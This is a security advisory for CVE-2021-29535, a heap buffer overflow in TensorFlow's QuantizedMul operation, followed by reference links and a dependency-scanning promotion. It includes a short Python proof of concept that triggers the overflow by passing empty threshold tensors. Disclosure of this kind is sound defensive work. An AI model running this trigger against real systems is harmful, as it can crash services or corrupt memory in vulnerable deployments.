CVE-2021-29535: Heap buffer overflow in `QuantizedMul`
(updated )
An attacker can cause a heap buffer overflow in QuantizedMul
by passing in invalid thresholds for the quantization:
import tensorflow as tf
x = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)
y = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)
min_x = tf.constant([], dtype=tf.float32)
max_x = tf.constant([], dtype=tf.float32)
min_y = tf.constant([], dtype=tf.float32)
max_y = tf.constant([], dtype=tf.float32)
tf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)
References
- github.com/advisories/GHSA-m3f9-w3p3-p669
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-463.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-661.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-172.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/efea03b38fb8d3b81762237dc85e579cc5fc6e87
- github.com/tensorflow/tensorflow/security/advisories/GHSA-m3f9-w3p3-p669
- nvd.nist.gov/vuln/detail/CVE-2021-29535
Detect and mitigate CVE-2021-29535 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →